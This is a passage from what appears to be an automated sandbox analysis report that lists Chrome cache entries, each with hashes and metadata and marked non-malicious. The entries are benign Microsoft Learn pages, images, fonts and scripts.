Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
